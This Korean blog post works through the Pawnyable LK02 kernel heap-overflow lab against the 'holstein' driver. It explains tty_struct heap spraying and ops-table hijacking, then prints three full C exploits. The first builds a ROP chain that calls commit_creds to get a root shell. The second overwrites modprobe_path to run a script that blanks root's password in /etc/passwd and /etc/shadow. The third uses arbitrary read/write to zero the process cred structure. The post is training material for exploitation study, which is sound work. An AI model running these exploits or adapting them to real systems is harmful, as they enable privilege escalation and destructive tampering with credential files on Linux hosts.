[Kernel Exploit Tech][Pawnyable] LK02 - Heap Overflow
pawnyable.cafe 내용을 바탕으로 정리한 글입니다.
각주에 이해에 도움이 되는 내용이 많으므로 꼭 같이 읽기를 권장합니다.
1. Heap Overflow
바뀐 소스를 잘 살펴보면 stack overflow와 동일한 이유로 g_buf
에서 heap overflow가 발생함을 알 수 있다. 마찬가지로 이를 통해 힙의 값을 읽거나 쓸 수 있기 때문에 위와 비슷하게 공격 방식을 설정할 수 있다. 다만 커널의 base 주소를 알아낼 때 stack overflow처럼 return address를 쓸 수는 없기 때문에 다른 방법을 설정해야 한다.
커널의 메모리 할당을 관리하는 SLUB은1 유저영역의 tcache나 fashbin처럼 single linked list로 free된 청크들을 관리한다. g_buf
할당 전 freelist에 값이 들어있다면 (즉, 해제된 청크가 존재해 freelist에서 g_buf
를 할당한다면) 내가 원하는 객체 주변에 g_buf
를 위치시킬 수 없기 때문에 공격이 어렵다. 이를 위해 g_buf
할당 전 우선 freelist에 있는 청크들을 모두 소진시켜 이후 할당되는 청크들이 모두 메모리상에서 인접하도록 작업해야 한다. 이를 위해 heap spray가 사용된다.
g_buf
의 크기가 0x400으로 kmalloc-1024
에서 할당한다는 것을 생각하면 같은 영역에 속하고, 커널 주소를 담고 있는 tty_struct
를 공격에 사용할 객체로 고려해볼 수 있다. 이 구조체는 /dev/ptmx
를 열면 할당된다. 우선 g_buf
주변으로 이 구조체를 잔뜩 할당한 후 관찰하면 제대로 할당되었음을 알 수 있다.
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
read(fd, buf, 0x500);
이때 g_buf+0x418
이 커널 영역의 주소이므로 (이는 vmmap을 통해 간단히 알아낼 수 있다!) 이를 통해 커널의 base 주소를 구할 수 있다. 2
2-1. ROP
커널의 base주소를 구했으므로 stack overflow에서 했던 대로 ROP를 생각해볼 수 있다. 그러나 stack이 아닌 heap의 데이터만 조작할 수 있기 때문에 return address overwrite같은 간단한 방법으로는 RIP를 제어할 수 없다. 이를 위해서 위에서 커널의 base 주소 유출에 사용한 tty_struct
를 다시 한 번 사용한다.
// Def. in /include/linux/tty.h, line 195 (@linux-6.0.19)
struct tty_struct {
struct kref kref;
int index;
struct device *dev;
struct tty_driver *driver;
struct tty_port *port;
const struct tty_operations *ops; // 사용
...
여기서는 ops
멤버 변수를 사용한다. tty_struct.ops
는 함수 테이블로, open()
, write()
등의 함수가 호출되었을 때 어떤 함수를 호출할지에 대한 정보가 다음과 같이 기록되어 있다.
// Def. in /include/linux/tty_driver.h, line 349 (@linux-6.0.19)
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
ssize_t (*write)(struct tty_struct *tty, const u8 *buf, size_t count);
int (*put_char)(struct tty_struct *tty, u8 ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
여기서는 index가 12인 ioctl
필드를 우리가 원하는 주소로 덮어서 흐름을 임의로 조작할 수 있다. 즉 위에서 열어둔 /dev/ptmx
에 대해 ops
변수를 조작해 ioctl()
에 대한 동작을 우리가 원하는 것으로 바꾸고, ioctl()
을 실행하면 우리가 원하는 주소로 실행 흐름을 옮길 수 있다는 것이다.
이를 위해서 heap상 어딘가에 가짜 tty_operations[]
를 만들고, ops를 이 주소로 덮어씌우면 우리가 원하는 곳으로 실행 흐름을 옮기는 것이 가능하다. 이때 tty_struct + 0x38가
자기 자신을 가리키고 있다는 사실을 이용하면 heap상에서 g_buf
의 주소를 알 수 있다.
또한 rsp
를 stack이 아닌 heap상의 임의 주소로 옮겨야 구성한 ROP Chain을 따라오게 된다. 이때 ioctl()
실행 직후 레지스터를 관찰하면
두 번째 인자가 rcx
, r12
레지스터에 하위 4바이트만 저장되고 세 번째 인자가 온전히 rdx
, r8
, r14
에 저장된다는 것을 알 수 있고, 따라서 다음과 같은 가젯을 사용할 수 있다.
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
이들을 전부 합치면 다음과 같은 payload 구성이 가능하다.
unsigned long *p = (unsigned long *)buf;
p[12] = push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp; // ioctl 호출 시 이리로 jmp
unsigned long *chain = &p[13]; // rsp가 이동할 자리임
*chain++ = 0xdeadbeef; // r13 (쓰레기)
*chain++ = 0xdeadbeef; // rbp (쓰레기)
*chain++ = pop_rdi_ret;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = mov_rdi_rax_ret;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0xdeadbeef;
*chain++ = 0xcafebabe;
*chain++ = win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
*(unsigned long *)&buf[0x418] = g_buf; // 가짜 ops
전체 exploit 코드는 다음과 같다.
펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define k_offset 0xc38880
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp (kbase + 0x3a478a)
#define pop_rcx_ret (kbase + 0x13c1c4)
#define mov_rdi_rax_ret (kbase + 0x62707b)
#define pop_rdi_ret (kbase + 0xd748d)
#define prepare_kernel_cred (kbase + 0x074650)
#define commit_creds (kbase + 0x0744b0)
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
save_state();
char buf[0x500];
int spray[100];
int fd = -1;
unsigned long kbase;
unsigned long g_buf;
// Heap spray
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
// 1. Leak kernel base
read(fd, buf, 0x500);
kbase = *(unsigned long *)&buf[0x418] - k_offset;
printf("Kernel base: %p\n", kbase);
g_buf = *(unsigned long *)&buf[0x438] - 0x438;
printf("Buf address: %p\n", g_buf);
unsigned long *p = (unsigned long *)buf;
p[12] = push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp; // ioctl 호출 시 이리로 jmp
unsigned long *chain = &p[13];
*chain++ = 0xdeadbeef; // r13 (쓰레기)
*chain++ = 0xdeadbeef; // rbp (쓰레기)
*chain++ = pop_rdi_ret;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = mov_rdi_rax_ret;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0xdeadbeef;
*chain++ = 0xcafebabe;
*chain++ = win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
*(unsigned long *)&buf[0x418] = g_buf; // 가짜 ops
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, g_buf + 8 * 13); // rsp가 갈 위치
}
getchar();
close(fd);
return 0;
}
실행하면 쉘을 얻을 수 있다.
2-2. AAW - modprobe_path
위에서 봤던 ioctl()
실행 후 레지스터의 상태를 고려해 사용할 수 있는 몇 가지 가젯들을 살펴보면
0xffffffff810477f7 : mov qword ptr [rdx], rcx ; ret
위 가젯을 통해 rdx, rcx를 직접 설정하면 rdx가 기리키는 곳에 임의 주소 쓰기가 가능하다는 사실을 알 수 있다.
일반적으로 ELF형식이나 파일이나 #!으로 시작하지 않는 프로그램을 실행시키려고 시도하면 __request_module()
이 실행된다. 이 모듈은 modprobe_path
문자열을 실행하는데, modprobe_path
에는 기본적으로 /sbin/modprobe가 저장되어 있다. 즉 이 변수에 저장된 문자열을 내가 원하는 명령으로 바꾸면 root권한으로 그 파일을 실행할 수 있게 된다. 또한 modprobe_path
는 변수에 불과하므로 ASLR의 영향을 받지 않아 주소를 찾는 것도 굉장히 쉽다.
이제 이 주소에 위에서 발견한 aaw를 통해 실행 파일의 경로만 지정해주면 된다. aaw를 수행하는 함수는 다음과 같이 짤 수 있다.
void aaw(unsigned long addr, unsigned int val) {
// ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
unsigned long *p = (unsigned long *)&buf;
p[12] = mov_byref_rdx_rcx_ret;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
for (int i = 0; i < 100; i++)
ioctl(spray[i], val, addr);
}
실행 파일은 /tmp/evil.sh
로 설정했고, 이 스크립트 파일에서는 /etc/shadow
와 /etc/passwd
를 수정해 root의 비밀번호를 없엔다. 전체 익스플로잇 코드는 다음과 같다.
펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define k_offset 0xc38880
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp (kbase + 0x3a478a)
#define pop_rcx_ret (kbase + 0x13c1c4)
#define mov_rdi_rax_ret (kbase + 0x62707b)
#define pop_rdi_ret (kbase + 0xd748d)
#define mov_byref_rdx_rcx_ret (kbase + 0x477f7)
#define prepare_kernel_cred (kbase + 0x074650)
#define commit_creds (kbase + 0x0744b0)
#define modprobe_path 0xffffffff81e38180
unsigned long user_cs, user_ss, user_rsp, user_rflags;
char buf[0x500];
unsigned long kbase, g_buf;
int spray[100];
int fd = -1;
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
void aaw(unsigned long addr, unsigned int val) {
// ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
unsigned long *p = (unsigned long *)&buf;
p[12] = mov_byref_rdx_rcx_ret;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
for (int i = 0; i < 100; i++)
ioctl(spray[i], val, addr);
}
int main() {
save_state();
// Heap spray
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
// 1. Leak kernel base
read(fd, buf, 0x500);
kbase = *(unsigned long *)&buf[0x418] - k_offset;
printf("Kernel base: %p\n", kbase);
g_buf = *(unsigned long *)&buf[0x438] - 0x438;
printf("Buf address: %p\n", g_buf);
char cmd[] = "/tmp/evil.sh";
for (int i = 0; i < sizeof(cmd); i += 4) {
aaw(modprobe_path + i, *(unsigned int*)&cmd[i]);
}
system("echo -e \"#!/bin/sh\\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\\necho 'root::18514:0:99999:7:::' > /etc/shadow\" > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
getchar();
close(fd);
return 0;
}
실행하면 비밀번호 없이 root로 su할 수 있다.
2-3. AAR - cred 구조체 조작
마찬가지로 위에서 봤던 ioctl()
실행 후 레지스터의 상태를 고려해 사용할 수 있는 몇 가지 가젯들을 더 살펴보면 아래와 같은 가젯을 찾을 수 있다.
0xffffffff8118a285 : mov eax, dword ptr [rdx] ; ret
위 가젯을 통해 rdx를 원하는 주소로 설정하면 ioctl의 리턴값이 그 주소의 값이 된다. 다만 eax를 쓰기 때문에 4바이트씩만 읽을 수 있다.
커널 힙의 크기는 그다지 크지 않기 때문에 힙을 전체 탐색해 cred
구조체를 찾고, 그 필드들을 0으로 덮어써 root 권한을 얻는 방법을 생각해볼 수 있다. 이때 프로세스의 cred
구조체는 task_struct
의 멤버로 들어가 있으므로 task_struct
의 구조를 다시 살펴보면
enum {
TASK_COMM_LEN = 16,
};
struct task_struct {
...
const struct cred __rcu *ptracer_cred;
const struct cred __rcu *real_cred;
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
...
}
comm
필드에 주목해볼 수 있다. 이 필드에는 실행 파일의 이름이 16바이트 들어가며, prctl()
로 변경이 가능하다. 따라서 저 필드에 특정 문자열을 저장해둔 뒤 힙을 탐색하며 미리 저장한 문자열을 찾으면 된다.
AAR을 할 때 위에서처럼 모든 spray 한 객체에 대해 ioctl()
을 수행하면 시간이 매우 오래 걸리므로 heap overflow로 인해 영향을 받는 객체의 file descriptor를 찾아야 한다. 이때 원래 /dev/ptmx
에 대한 ioctl()
은 -1을 반환한다는 것을 고려하면 (원래 구현되지 않은 동작이므로) 다음과 같이 구현이 가능하다.
unsigned int aar(unsigned long addr) {
// ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
unsigned int val;
static int spray_fd = -1;
if (spray_fd == -1) {
unsigned long *p = (unsigned long*)&buf;
p[12] = mov_eax_byref_rdx_ret;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
for (int i = 0; i < 100; i++) {
val = ioctl(spray[i], 0xdeadbeef, addr);
if (val != -1) {
printf("affected tty_struct at %d\n", i);
spray_fd = spray[i];
return val;
}
}
}
val = ioctl(spray_fd, 0xdeadbeef, addr);
return val;
}
이제 prctl()
로 comm에 임의의 값을 써준 후 힙 전체를 탐색한다.
prctl(PR_SET_NAME, "1q2w3e4r");
unsigned long addr = g_buf - 0x1000000;
for (;;addr += 0x8) {
if ((addr & 0xfffff) == 0)
printf("searching... 0x%016lx\n", addr);
if (aar(addr) == 0x77327131 && aar(addr + 4) == 0x72346533) {
printf("found comm at %p\n", addr);
break;
}
}
g_buf
에서 0x100000정도 떨어진 곳부터 검사하라고 나와있지만 이렇게 검사하면 다음과 같이 kernel panic이 발생하고, 제대로 된 cred 구조체 주소를 가져오지 못한다. 어떤 이유에서인진 모르겠지만 저 값이 힙에 하나만 있는 것이 아니라 몇 개 존재하는 것 같아 보인다.
이곳에 담긴 값은 문자열도 아니고 메모리 주소도 아니다. (canonical address가 아님)
이를 해결하기 위해 탐색 범위를 0x500000정도 떨어진 곳부터 잡으면 된다. 이후 cred
구조체의 주소를 가져온 후 (문자열로부터 뒤로 8바이트) 그 주소에 0을 써 주면 된다.
addr -= 8;
unsigned long cred_addr = aar(addr) | ((unsigned long)aar(addr + 4) << 32);
printf("cred: %p\n", cred_addr);
for (int i = 1; i < 9; i++) {
aaw(cred_addr + i * 0x4, 0);
}
전체 익스플로잇 코드는 다음과 같다.
펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#define k_offset 0xc38880
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp (kbase + 0x3a478a)
#define pop_rcx_ret (kbase + 0x13c1c4)
#define mov_rdi_rax_ret (kbase + 0x62707b)
#define pop_rdi_ret (kbase + 0xd748d)
#define mov_byref_rdx_rcx_ret (kbase + 0x477f7)
#define mov_eax_byref_rdx_ret (kbase + 0x18a285)
#define prepare_kernel_cred (kbase + 0x074650)
#define commit_creds (kbase + 0x0744b0)
#define modprobe_path 0xffffffff81e38180
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long kbase, g_buf;
int spray[100];
int fd = -1;
char buf[0x500];
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
unsigned int aar(unsigned long addr) {
// ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
unsigned int val;
static int spray_fd = -1;
if (spray_fd == -1) {
unsigned long *p = (unsigned long*)&buf;
p[12] = mov_eax_byref_rdx_ret;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
for (int i = 0; i < 100; i++) {
val = ioctl(spray[i], 0xdeadbeef, addr);
if (val != -1) {
printf("affected tty_struct at %d\n", i);
spray_fd = spray[i];
return val;
}
}
}
val = ioctl(spray_fd, 0xdeadbeef, addr);
return val;
}
void aaw(unsigned long addr, unsigned int val) {
// ioctl의 두 번째 인자가 rcx, 세 번째 인자가 rdx로 이동
unsigned long *p = (unsigned long *)&buf;
p[12] = mov_byref_rdx_rcx_ret;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
for (int i = 0; i < 100; i++)
ioctl(spray[i], val, addr);
}
int main() {
save_state();
// Heap spray
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
// 1. Leak kernel base
read(fd, buf, 0x500);
kbase = *(unsigned long *)&buf[0x418] - k_offset;
printf("Kernel base: %p\n", kbase);
g_buf = *(unsigned long *)&buf[0x438] - 0x438;
printf("g_buf address: %p\n", g_buf);
prctl(PR_SET_NAME, "1q2w3e4r");
unsigned long addr = g_buf - 0x500000;
for (;;addr += 0x8) {
if ((addr & 0xfffff) == 0)
printf("searching... 0x%016lx\n", addr);
if (aar(addr) == 0x77327131 && aar(addr + 4) == 0x72346533) {
printf("found comm at %p\n", addr);
break;
}
}
addr -= 8;
unsigned long cred_addr = aar(addr) | ((unsigned long)aar(addr + 4) << 32);
printf("cred: %p\n", cred_addr);
for (int i = 1; i < 9; i++) {
aaw(cred_addr + i * 0x4, 0);
}
puts("[+] win!");
system("/bin/sh");
getchar();
close(fd);
return 0;
}
실행하면 쉘을 얻을 수 있다.
-
SLUB Allocator에 대한 내용은 추후 깊게 다뤄볼 예정이다. 여기서는 우선 같은 bin에 속한 청크일지라도 크기가 다를 수 있는 유저영역과 달리
bin
과 비슷한kmalloc-N
에서는 같은 크기의 청크들이 들어있다는 것만 알면 된다. (예를 들어kmalloc-1024
에는 항상 크기가 1024인 청크들만 존재한다.) ↩ -
구조체에서 0x18 오프셋에 있는 값(위에서 말한 커널 영역의 어딘가)들은 번갈아가면서 나온다. 예를 들어
g_buf+0x418
에0x1111
이 적혀있다면 그 다음 구조체인g_buf+0x818
에서는0x2222
, 그 다음 구조체인g_buf+0x400*3+0x18
에는 다시0x1111
이 적혀 있는 식이다. 이들이 모두 커널 영역의 주소라는 사실을 쉽게 알 수 있다. 여기서는 짝수 번째에 나오는 값을 사용해 offset을 계산했다. ↩
Leave a comment